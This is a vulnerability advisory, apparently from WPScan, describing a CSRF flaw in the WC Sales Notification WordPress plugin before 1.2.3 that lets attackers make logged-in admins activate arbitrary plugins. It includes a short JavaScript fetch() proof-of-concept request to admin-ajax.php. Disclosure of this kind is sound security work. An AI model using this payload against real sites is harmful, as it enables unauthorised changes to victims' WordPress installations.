WordPress Plugin Vulnerabilities
WC Sales Notification < 1.2.3 - Arbitrary Plugin Activation via CSRF
Description
The plugin does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack
Proof of Concept
fetch('https://example.com/wp-admin/admin-ajax.php', { method: 'POST', headers: new Headers({ 'Content-Type': 'application/x-www-form-urlencoded', }), body: 'action=wcsalesnotification_ajax_plugin_activation&location=woocommerce/woocommerce.php', redirect: 'follow' }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
WPScan
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-02-28 (about 1 years ago)
Added
2023-02-28 (about 1 years ago)
Last Updated
2023-02-28 (about 1 years ago)